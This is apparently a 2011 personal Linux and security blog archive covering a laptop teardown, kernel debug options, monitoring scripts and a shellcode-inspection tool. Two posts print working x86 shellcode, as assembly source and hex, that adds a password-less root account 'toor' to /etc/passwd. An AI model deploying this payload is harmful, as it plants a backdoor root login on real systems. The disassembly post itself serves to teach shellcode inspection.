Wednesday, March 16, 2011

Japan Earthquake and Fukushima Daiichi Crisis

We are all well aware of the tragic earthquake and tsunami that caused massive damage and great loss of life to the Japanese coastal areas. Also the situation seems very critical at the Fukushima Daiichi nuclear facility where engineers are attempting their best to avert a possible meltdown. My prayers go out to all the people and their families affected and I pray that that they are successful in stabilizing the situation. Also I salute all the people currently involved in the rescue and stabilization process. You are the real heroes guys...

Sunday, March 13, 2011

Dell Studio 1535 cleaning/disassembly

The temperature sensors on procyon [My Dell Studio 1535] laptop were constantly hitting abnormal values recently. CPU kept on idling at around 60C, even after my previous post on the fix for lm_sensors configuration applied. So I knew that it was time I opened the girl up and do her some good'ol fashioned cleaning. So I borrowed a cam, took out my toolbox, acquired some Thermal Compound [Shin-Etsu Microsi's G-751 Thermal Paste (thanks Shray!)] from a good friend, added some Pink Floyd on my playlist and got to work. Here are a few pics of the internals for anyone's viewing pleasure since I could not find any decent teardown images of the same model on the web. Enjoy....

Backplate opened, Fan/Heat-sink assembly and processor removed  
Close-up of the first image.
The processor[Top]: Intel T5750 [2GHz, Socket-P, 2MBL2, 667 FSB]
The processor[Bottom]
Fan/Heat-sink assembly [Top]
Fan/Heat-sink assembly [Bottom] [Note the thermal pads for the MCH and GFX chips]
Fan/Heatsink assembly [Top, Fan Removed]
Fan/Heat-sink assembly [Bottom, Fan Removed]
Fan(Dirty) [Top]
Fan(Dirty) [Bottom]
Partially Cleaned Heat-sink Fins
ATI Mobility Radeon HD3450 256MB [The 2 chips on the left are the 128MBx2(Samsung) RAMDACs]
The Intel 965PM MCH
The Intel MCH and The Socket-P processor socket
The WPAN and WLAN[Broadcom BCM4312] cards.
Nanya 1GB DDR2 PC2-5300 @ 333 MHz x2 RAM Cards
The HDD [Western Digital WD3200BPVT] and The DVD drive
After a thorough cleaning and application of new thermal grease, the temps have dropped significantly by at least ~10C

End result: a cool and quiet system and a wholly satisfied conscience :)

Sunday, March 6, 2011

detailed kernel bootup debug messages

Users like me prefer as much debugging output in applications as possible because this makes performance and stability issues easy to understand. This also allows one to see what all is going on behind the scenes for crash debugging. A few amendments can be added to the kernel boot parameters of a Linux kernel to allow for detailed messages and verbose output:

By modifying the 'kernel' line in grub or editing the relevant boot file under /boot/grub and adding the following[in bold]:

kernel /boot/vmlinuz26 root=/dev/disk/by-label/Arch ro debug ignore_loglevel log_buf_len=10M print_fatal_signals=1 LOGLEVEL=8 earlyprintk=vga,keep sched_debug
heavy debugging can be easily activated.

debug = activates internal debugging.
ignore_loglevel =  ignores any sort of log level and maximizes debug output.
log_buf_len = increases the log buffer length to 10 MiB
print_fatal_signals = print any fatal signals.
LOGLEVEL = enables level 8 logging.
earlyprintk = enables early printing of messages to the vga screen
,keep = keeps the messages on for longer.
sched_debug = Enables verbose scheduler debug messages.


Friday, March 4, 2011

customized slow output on a console

One of the primary scripts I run on my desktop embedded urxvt terminals is an active connections display script. Its primary function is to utilize 'netstat' and 'lsof' to display all TCP/UDP connections to/from my system. The problem comes with running apps such as firefox or feed readers where multiple connections are established that most of the output scrolls away very fast. So I customized the script to slowly output line by line:

echo "" > connpoll.log
function read_file()
        while read line  
                echo -e "$line"  
                sleep .15
                if [ $count -eq 12 ]
                        sleep 3
        done < connpoll.log
while [ 1 ]
    echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA LSOF==<<<<<<<<<<<" > connpoll.log
        lsof -w | grep -e TCP -e UDP >> connpoll.log
    echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA NETSTAT==<<<<<<<<<<<" >> connpoll.log
    netstat --tcp --udp -e -e -a --raw --program -v >> connpoll.log
    sleep 8

The infinite while loop runs the 2 commands, directs the output to a file (connpoll.log) and executes the function 'read_file'. 'read_file' takes the file and feeds it to an internal read in the while loop which simply echos a line from the file. The 'sleep .15' provides a small time break between each line and makes the output smooth.

The script works flawlessly and with the least overhead that I could accomplish.

exploitdb svn up again

For the past 2 weeks, a svn checkout of exploit db always resulted in:

svn: Network connection closed unexpectedly

Today, finally its up again. Grab a local copy via:

$] svn co svn://

or to update a local copy, just do a 'svn update' in the checkout folder.

Thursday, February 24, 2011

dangers of publicly disclosed weaponized exploits

POC (Proof Of Concept) exploits are very easy to find. One doesn't have to look further than a Google search for countless lists. Similarly, weaponized versions are also available through the same channels. Skiddies never had it so good when to comes to downloading, compiling and owning the next door neighbour's box. But sometimes such perfect pieces of art have a terrible secret.

Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!

Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.

There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.

As a simple example, lets take the following shellcode:


Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).

I have written a small python script for this very purpose:

#s4ndman - shellcode to assembly conversion script for shellcode inspection.

#Requires: ndisasm

import os
import sys
import binascii

if len(sys.argv) < 2:
    print "[i]run syntax:"
    print "[i]"+sys.argv[0]+" hexcode"
    print "[i]example:"
    print "[i]"+sys.argv[0]+" \\x31\\xc0\\x40\\x89\\xc3\\xcd\\x80"

    f = open("binary", "wb")
    print "[-]file create error!"

hstring = sys.argv[1].replace("\\x","")
hstring = hstring.replace("x","")
print "[+]normalized hexstring: "+hstring
hexstring = binascii.a2b_hex(hstring)

print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("ndisasm -b 32 binary")
print "[++++++++++++++++ASM DUMP++++++++++++++++]"

os.system("rm binary")

Lets try it shall we:
└─>>$] python2 \x31\xc0\x40\x89\xc3\xcd\x80
[+]normalized hexstring: 31c04089c3cd80
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  31C0              xor eax,eax
00000002  40                   inc eax
00000003  89C3              mov ebx,eax
00000005  CD80              int 0x80
[++++++++++++++++ASM DUMP++++++++++++++++]
And there we go, the 32bit exit() syscall assembly.

Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:

python2 \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  EB38              jmp short 0x3a
00000002  5E                  pop esi
00000003  31C0              xor eax,eax
00000005  88460B          mov [esi+0xb],al
00000008  88462B          mov [esi+0x2b],al
0000000B  C6462A0A      mov byte [esi+0x2a],0xa
0000000F  8D5E0C          lea ebx,[esi+0xc]
00000012  895E2C           mov [esi+0x2c],ebx
00000015  8D1E              lea ebx,[esi]
00000017  66B94204       mov cx,0x442
0000001B  66BAA401       mov dx,0x1a4
0000001F  B005              mov al,0x5
00000021  CD80              int 0x80
00000023  89C3              mov ebx,eax
00000025  31D2              xor edx,edx
00000027  8B4E2C          mov ecx,[esi+0x2c]
0000002A  B21F              mov dl,0x1f
0000002C  B004              mov al,0x4
0000002E  CD80              int 0x80
00000030  B006              mov al,0x6
00000032  CD80              int 0x80
00000034  B001              mov al,0x1
00000036  31DB              xor ebx,ebx
00000038  CD80              int 0x80
0000003A  E8C3FFFFFF    call dword 0x2
0000003F  2F                  das                 /*NOTE: This point onwards is the string
00000040  657463          gs jz 0xa6       *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043  2F                  das                 *The disassembler assumes the string as instructions
00000044  7061              jo 0xa7           *and creates the assembly for it.
00000046  7373              jnc 0xbb          *So it is safe to ignore all the code below.
00000048  .........
[++++++++++++++++ASM DUMP++++++++++++++++]

A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.

Wednesday, February 23, 2011

examining firewall log entries...

While going through the usual iptables log, its pretty interesting to see what all lurks out on the world wide web. There are some usual and unusual entries such as:

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= DST=yyy.yyy.yyy.yyy LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=61742 DF PROTO=TCP SPT=4993 DPT=23 SEQ=2106909432 ACK=0 WINDOW=5808 RES=0x00 SYN URGP=0 OPT (020405AC0402080A012E13D60000000001030300)

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=95 ID=256 PROTO=TCP SPT=6000 DPT=1433 SEQ=2031616000 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=119 ID=256 DF PROTO=TCP SPT=12200 DPT=1080 SEQ=474681 ACK=0 WINDOW=8192 RES=0x00 SYN URGP=0

Which upon analysis reveal some pretty interesting facts...

1. Firstly I notice a lot of TCP Syn packets being denied at ports 1080, 3128, 8000, 8080 etc
2. Also a lot of attempts at ports 1433, 1434
3. And finally some random attempts at 22, 23, 25

Whats interesting is that all the source IPs are random and in some situations, there is a flag on 2 ports per IP.

These are what I think may be the causes:

1. A simple lookup would reveal the purpose of these ports as the following:
1080 : socks
3128 : squid-http
8000 : http-alt
8080 : http-proxy
With this, one can easily deduce that many systems over the web are intentionally/unintentionally checking for open proxies on random IP addresses. These may be normal boxes with scripts/programs running that generate random IPs or using old server connection logs. They may also be infected systems with malware performing the same task. This is one of the many ways lists of open proxies surface on underground websites.

2. These are the ports on which Microsoft SQL server typically listens on and may well be sought after by full blown malware looking for newer prey or automated scans running on a cracker's box.

3. These are usually ports for the typical ssh, telnet and smtp services and are most probably being scanned for vulnerabilities or vulnerable configurations by malware on rooted boxes or automated/active scans running on a cracker's box.

Its quite funny to see the intensity of these reports on the logs. Quite a few popup every hour or so. It is a reminder that a by just connecting a system to the internet without properly securing it can be pretty fatal. Its a dangerous WWW out there and web safety requires proper measures to be taken before connecting the wire

Saturday, February 12, 2011

python proxy tester

Getting hold of proxy lists is a not a problem these days. A lot of websites provide pages upon pages of proxies but the issue arises when more than 60-70% of them don't work. Sitting and testing each one can be a pain so to ease the issue, I fired up medit and wrote the following script.

The script takes input as a file with the structure:


lm_sensors and Tjunction-max

Recently, the temperature values being reported by lm_sensors on my linux-lap were becoming a point of concern. The fan and heatsink assembly had just been cleaned a few days earlier but still lm_sensors reported my CPU was at ~70C while idling! Even considering the fact that I live in a hot part of the world, the values were too high for this time of the year and for an idling CPU. Checking the logs and a bit of web research revealed the culprit:

 └─>>$] dmesg | grep Tj
coretemp coretemp.0: TjMax is assumed as 100 C!
coretemp coretemp.1: TjMax is assumed as 100 C!

The Intel datasheet for a T5750 processor reports the designed Tj-max as 85C but gets detected as 100C, so lm_sensors was reporting the values with a +15C offset.

The bug seems to be in a recent git commit as explained in this thread:
Tjunction explained:

FIX: After discussing the issue with the devs on IRC, a small fix was suggested. Worked for me.

edit '/etc/sensors3.conf' and add the lines 
chip "coretemp-*"
    compute temp1 @-15,@+15
    compute temp2 @-15,@+15

Thursday, February 10, 2011

some old shellcode...

Going through some old files, I came across some old shellcode I had written. Nothing special but a small payload to append the /etc/passwd file. To be honest its not even that great because to use it, you need an exploit that provides uid=0 such as a kernel null pointer dereference. Anyway, here is the code:

;Payload: Adds the string: [toor::0:0:t00r:/root:/bin/bash] to /etc/passwd thereby adding password-less root account with login name "toor"
;Platform: linux/x86
;Size: 107 bytes
;Author: $andman
Section .data
    global _start
    jmp short callfunc
    pop         esi
    xor         eax, eax
    mov byte    [esi+11], al
    mov byte    [esi+43], al
    mov byte     [esi+42], 0xa
    lea        ebx, [esi+12]
    mov long    [esi+44],ebx
    lea        ebx,[esi]
    mov        cx,1090
    mov        dx,0x1a4
    mov        al,0x05
    int        0x80
    mov long    ebx, eax
    xor         edx,edx
    mov        ecx, [esi+44]
    mov         dl,31
    mov         al,0x04
    int        0x80
    mov        al,0x06
    int        0x80
    mov         al,0x01
    xor         ebx,ebx
    int        0x80
    call func
    db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'

The compiled, alphanumeric code can be taken from exploitdb:

Wednesday, February 9, 2011

sfuzz, a mutation file format fuzzer

I thought I might as well publish some code, well here is a little something I have been working on. A simple mutation fuzzer. It just does _dumb_ fuzzing for now but I intend to improve it for structural correctness while fuzzing and smarter fault injections. Not yet completed but It has already shown results, caused many apps to crash with mostly being Invalid reads and 1 Invalid write [dunno if exploitable? will check that out]. Anyway here is the code for the fuzzer. Also, I am thinking towards writing a smart generation fuzzer for structured non binaries. Anyway here is the code...


EDIT: A small bug... the randomization depends on the current time. This means to achieve a bit decent randomization, a sleep value of 1s is at least needed.

Multiple $PS1s with urxvt and xprop

Recently, I decided to embed terminals in my desktop and preferred that the prompt for them should be different than for a normal terminal window. It took a while but I finally achieved it. Embedding the terminals was easy as explained here:

and as for the different $PS1 prompts, I just modified my .bashrc with the following condition:


winId=$(xprop -id $WINDOWID | grep "URxvtbg")

if [ "$winId" == "" ]
PS1="┌─\[\e[1;36m\][\u@\h]\[\e[m\].:\[\e[0;36m\][$(date +"%d/%m/%y-(%T)")]\[\e[m\]:.\[\e[1;36m\][\w]\[\e[m\]\n└─>>\[\e[1;32m\]$\[\e[m\]] "
PS1='[\u@\h \W]\$ '


Basically, what this does is that it gets the window information from xprop using the $WINDOWID bash variable and looks for the specific name* that was assigned to this terminal. If found, applies a specific $PS1 value and if not, applies the other.

*Refer urxvt's man page for the switch '-name'.

Sunday, February 6, 2011

Fortune for you!!

Almost all linux users are familiar with the fortune program. For new users, here is a small snippet:

fortune - print a random, hopefully interesting, adage

Description from the man page:
When fortune is run with no arguments it prints out a random epigram. Epigrams are divided into several categories.

Well, in order to fully utilize the program, I went ahead and wrote a small script that automatically displayed a random fortune everytime I logged in. Here is the script and all it requires is the notification daemon to be installed for your particular wm.

sleep 3
notify-send "Hello $(whoami), Your Daily Fortune..." "$(fortune)"

Save it as and mark it as executable by:

chmod +x

and just add it to the post login scripts in your particular wm, openbox in my case so '~/.config/openbox/'

Dreamers and Artists of our time...

There were the greats of old such as Picaso, Rembrandt, Dali etc etc... but of our time in the digital age, they still exist. I would just like to direct people to such masters of our time. Their mind and work produce awe to the colorful earth around us. I salute to them as their work has inspired me and artists all over . Some of whom I know

Ryan Bliss : Digital Blasphemy
Greg Marting : Art Of Greg Martin
Gary Tonge : Vision Afar
Rudolf Herczog : Rochr
Bjørn Breivik :

and many more...